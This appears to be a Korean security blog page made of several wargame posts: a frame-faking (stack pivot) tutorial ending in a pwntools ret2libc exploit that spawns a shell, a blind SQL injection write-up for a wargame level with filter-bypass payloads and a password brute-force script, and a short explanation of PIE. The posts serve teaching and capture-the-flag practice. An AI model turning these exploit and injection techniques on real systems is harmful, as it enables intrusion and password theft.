Frame faking은 가짜 스택 프레임 포인터를 만들어 프로그램의 실행 흐름을 제어하는 것이다. Return Address영역 까지만 덮어쓸 수 있을 경우 사용 가능하다.

 

LEAVE & RET

LEAVE 명령어는 RBP(EBP) 레지스터에 저장된 값을 RSP(ESP)레지스터에 저장한다. RSP(ESP)레지스터가 가리키는 Stack영역의 값을 RBP(RSP) 레지스터에 저장한다.

LEAVE 명령을 어셈으로 표현하면 다음과 같다.

MOV RSP, RBP
POP RBP

RET 명령어는 RSP(ESP)레지스터가 가리키는 스택 영역의 값을 RIP(EIP)레지스터에 저장하고, JMP명령어를 이용해 RIP(EIP)에 저장된 영역으로 이동한다.

POP RIP
JMP RIP

아래의 코드를 이용해 LEAVE, RET의 동작을 확인할 수 있다.

#include <stdlib.h>
#include <stdio.h>

void vuln(int a, int b, int c, int d)
{
    printf("%d, %d, %d, %d", a, b, c, d);
}

void main(int argc, char* argv[])
{
    vuln(1,2,3,4);
}

위 코드를 컴파일 한 후 gdb로 실행하여 다음과 같이 bp를 설정한다. -m32옵션을 이용하여 32비트로 컴파일 하였다.

0x804843d(main+13) : main()함수에서 사용할 Frame Pointer를 EBP 레지스터에 저장한 후

0x804840e(vuln+3) : vuln()함수에서 사용할 Frame Porinter를 EBP레지스터 저장한 후

0x804842e(vuln+35) : leave 명령어

첫 번째로 설정한 bp까지 실행하면 다음과 같다.

main() 함수에서 사용할 Frame Pointer 주소는 0xffffd048이다. 0xffffd048영역에는 값이 저장되어 있지 않고, 0xffffd04c영역에 Return Address(0xf7e21647)가 저장되어 있다. 이 Return Address는 main함수가 종료된 후 이동할 주소이다.

다음 bp(vuln+3)까지 실행하면 다음과 같다.

vuln()함수에서 사용할 Frame Pointer의 주소는 0xffffd028이다. 0xffffd028 영역에는 main함수에서 사용하던 Frame Pointer의 주소값이 저장되어 있고, 0xffffd02c 영역에는 Return Address(0x0804844e)가 저장되어 있다. 이 Return Address는 vuln()함수가 종료된 후 이동할 주소이다.

다음 bp(vuln+35)까지 실행하면 다음과 같다.

vuln()함수에서 사용하던 Frame Pointer의 주소를 ESP에  저장한다. ESP레지스터에 저장된 Stack 영역에서 값을 추출해서 EBP레지스터에 저장한다. main() 함수에서 사용하던 Frame Pointer의 주소를 EBP에 저장하는 것이다.

다음과 같이 ret 명령어의 동작을 확인할 수 있다.

ESP 레지스터에 저장된 스택 영역에서값을 추출하여 EIP레지스터에 저장하고 EIP레지스터에 저장된 값으로 이동한다. EIP레지스터는 다음 실행할 명령어가 존재하는 메모리 주소를 저장하는 레지스터로 현재 명령어가 실행 완료되면 EIP레지스터에 저장된 주소에 위치한 명령어를 실행한다.

 

Frame Faking 

다음 코드를 이용하여 frame faking의 동작을 확인할 수 있다.

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

void vuln()
{
    char buf[50];
    printf("buf[50] address : %p\n", buf);
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    // dlsym() : symbol과 연관된 주소값 반환, 컴파일 할때 -ldl 옵션을 사용해야 함
    // RTLD_NEXT : symbol과 일치하는 다음 함수의 포인터를 반환
    printf("Printf() address : %p\n", printf_addr);
    read(0, buf, 70);
}

void main()
{
    vuln();
}

Stack address, Libc address를 출력하고, read()함수를 이용해 사용자로 부터 70개의 문자를 입력받는다. 이로 인해 Return address 까지 값을 덮어쓸 수 있다.

gcc -m32 -fno-stack-protector -o ff ff.c -ldl 명령으로 컴파일 한다.

gdb로 0x08048571(vuln+86)에 bp를 설정하고 문자 70개를 입력하여 Frame Pointer, Return Address 영역을 덮어쓴다.

leave 명령어는 vuln()함수에서 사용하던 Frame Pointer의 주소(0xffffd038)를 ESP에 저장하고, EBP 레지스터에 저장된 Stack  영역 (0xffffd038)에서 값을 추출하여 EBP 레지스터에 저장한다. 원래는 main()함수에서 사용하던 Frame Pointer의 주소가 EBP에 저장되어야 하지만 지금 해당 영역은 overflow에 의해 0x41414141(AAAA)가 저장되어있다.

다음과 같이 Frame faking를 확인하기 위해 Return address 영역에 leave 명령어가 저장된 주소를 저장한다.

위와 같이 저장한후 실행하면 다음과 같다.

overflow에 의해 변경된 Frame Pointer(0x41414141)를 ESP에 저장한다.

leave 명령어가 다시 호출 됨으로써 ESP 레지스터의 값을 변경할 수 있으므로 코드의 흐름도 변경할 수 있다.

 

버퍼시작점 + 4 영역에 RTL 코드를 넣고 Frame Pointer 영역에 "RTL 코드가 저장된 주소 - 0x4" 주소를 저장하고, Return Address 영역에 leave 명령어가 저장된 주소를 저장하면 구조는 다음과 같다.

Return Address 영역에는 leave 명령어의 주소가 저장되어 있으므로 leave 명령어를 다시 실행하고, leave 명령어는 EBP레지스터에 Stack overflow로 인해 0x90909090(더미값) + RTL 코드가 저장되어 있고, 해당 값은 ESP에 저장되고 POP 명령에 의해 ESP의 값이 0x4 증가하면서 ESP는 RTL 코드를 가리키게 된다. leave 명령 실행 후 ret 명령이 실행되면 시스템 함수의 주소를 EIP에 저장하면서 RTL이 동작하게 된다.  

 

다음과 같이 필요한 offset들을 구하고 익스코드를 작성하면 쉘을 딸 수 있다.

from pwn import *

p = process('./ff')

p.recvuntil('buf[50] address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr, 16)

p.recvuntil('Printf() address : ')
libc = p.recvuntil('\n')
libc = int(libc, 16)

leave = 0x08048571

libcBase = libc - 0x49030
sysAddr = libcBase + 0x3a950
exit = libcBase + 0x2e7c0
binsh = libcBase + 0x15912b

ex = p32(0x90909090)
ex += p32(sysAddr)
ex += p32(exit)
ex += p32(binsh)
ex += '\x90' * (62 - len(ex))
ex += p32(stackAddr)
ex += p32(leave)

p.send(ex)
p.interactive()
# libc start : 0xf7e04000
# /bin/sh : 0xf7f5d12b
# printf : 0xf7e4d030

# libc base : 0x49030
# sys offset : 0x3a950
# exit offset : 0x2e7c0
# binsh offset : 0x15912b

문제 페이지를 확인하면 다음과 같다.

소스 코드를 보면 or, and, substr, = 을 필터링하고 있고, 문제 풀이 조건을 보니 정확한 pw값을 입력해야 문제가 풀리는 것 같다.

다음과 같이 or은 ||로, =은 like로 필터링을 우회할 수 있다.

and도 필터링 되어 있기 때문에 '|| id like 'admin' && length(pw) like 1# 와 같은 쿼리로 숫자를 바꿔가며 패스워드 길이를 알아낼 수 있다.

패스워드 길이를 알아내면 패스워드 길이만큼 반복하며 substr이 필터링 되어 있기 때문에 mid 함수를 이용하여 각 자리수에 해당하는 글자를 가져올 수 있다. mid 함수는 mid(문자, 시작위치, 가져올개수)의 형태로 사용하며 다음과 같다.

'abcd'에서 2번째 문자부터 1개의 문자만 가져왔기 때문에 b를 반환한다.

따라서 '|| id like 'admin' && ascii(mid(pw, 1, 1)) like 97# 과 같은 형식으로 쿼리를 전송하면 mid 함수로 pw의 첫번째 글자를 가져온 값의 아스키코드 값이 97인지 아닌지, 확인할 수 있다.

따라서 패스워드의 길이를 구하고, 각 자리에 해당하는 값이 아스키 코드로 변환했을때 0부터 z까지 인지 확인하고 맞는 값을 차례로 저장하는 코드를 작성하면 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
 
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
header = {'PHPSESSID''ujpger2natc794e8voh11pdhun'}
 
pw_len = 0
while 1:
    pay = "' || id like 'admin' && length(pw) like {}#".format(pw_len)
    params = {'pw': pay}
    rep = requests.get(url,params=params, cookies=header)
    if "Hello admin" in rep.text:
        break
    pw_len += 1
 
print("[*] Password Length : ", pw_len)
 
pw = ''
for i in range(1, pw_len+1):
    for j in range(48,123):
        pay = "' || id like 'admin' && ascii(mid(pw,{},1)) like {}#".format(i,j)
        params = {'pw': pay}
        rep = requests.get(url, params=params, cookies=header)
        if "Hello admin" in rep.text:
            pw += chr(j)
            break
 
print("[*] Password : ", pw)
cs

'Security & Hacking > Wargame' 카테고리의 다른 글

[pwnable.kr] input  (0) 2021.06.15
[HackCTF] BOF_PIE  (0) 2021.06.01
[HackCTF] Offset  (0) 2021.05.13
[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10
[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25

PIE(Position Independent Executable)는 위치 독립 실행이라는 뜻으로 바이너리가 실행될 때 마다 바이너리의 주소가 랜덤화 된다. 

다음의 소스코드를 컴파일 하여 PIE를 테스트 할 것이다.

#include <stdio.h>
  
char *gBuf = "Lazenca.0x0";
  
void lazenca() {
    printf("Lazenca.0x1\n");
}
  
void main(){
    printf("[.data]    : %p\n",gBuf);
    printf("[Function] : %p\n",lazenca);
}

다음과 같이 컴파일 하여 하나는 PIE를 적용하지 않고, 다른 하나는 PIE를 적용하도록 하였다.

PIE보호기법을 적용하려면 gcc에서 -fPIE와 -pie 옵션을 적용하면 된다.

PIE가 적용되지 않은 파일은 다음과 같이 실행할 때 마다 전역변수와 사용자 정의 함수의 주소가 변경되지 않는다.

PIE가 적용된 파일은 실행할 때 마다 전역변수와 사용자 정의 함수의 주소가 변경된다.

PIE 보호기법이 적용되어 있지 않다면 다음과 같이 코드 영역의 값이 고정된 주소값이다.

PIE 보호기법이 적용된 바이너리는 코드 영역의 값이 offset 값이여서 할당된 메모리 영역에 동적으로 위치한다.

+ Recent posts